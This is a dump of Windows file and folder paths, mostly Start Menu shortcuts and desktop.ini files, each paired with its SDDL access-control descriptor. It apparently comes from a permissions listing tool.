C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (64-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\RecoveryDrive.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Registry Editor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Resource Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Information.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Defender Firewall with Advanced Security.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\desktop.ini D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\FreeCell.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\More Games from Microsoft.url D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Games\Solitaire.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Tools\Task Manager.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\ProgramData\NVIDIA Corporation\Drs\nvAppTimestamps D:AI(A;ID;FA;;;WD)(A;ID;FA;;;AC)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;0x1200a9;;;BU)S:AI(ML;ID;NW;;;LW)
C:\Users\All Users\Microsoft\User Account Pictures\defaultuser0.dat D:P(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x13019f;;;S-1-5-21-197523953-1369290436-2466060359-1000)
C:\Users\All Users\Microsoft\Windows\Start Menu D:AI(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIIO;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIIO;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\System Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Remote Desktop Connection.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Steps Recorder.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools D:AI(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;OICIID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;OICIID;DTSD;;;LA)(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Media Player Legacy.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Character Map.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;;0x1200a9;;;S-1-15-2-2)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Component Services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Computer Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\dfrgui.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Disk Cleanup.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Event Viewer.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\iSCSI Initiator.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Memory Diagnostics Tool.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (32-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\ODBC Data Sources (64-bit).lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Performance Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Print Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\RecoveryDrive.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Registry Editor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Resource Monitor.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Security Configuration Management.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\services.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Configuration.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\System Information.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Task Scheduler.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Windows Defender Firewall with Advanced Security.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\desktop.ini D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\FreeCell.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\More Games from Microsoft.url D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Games\Solitaire.lnk D:AI(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
C:\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini D:AI(A;;FA;;;BA)(A;;FA;;;SY)(A;;0x1200a9;;;BU)(A;;0x1200a9;;;AC)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1000)(A;ID;DTSD;;;S-1-5-21-197523953-1369290436-2466060359-1001)(A;ID;DTSD;;;LA)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD)
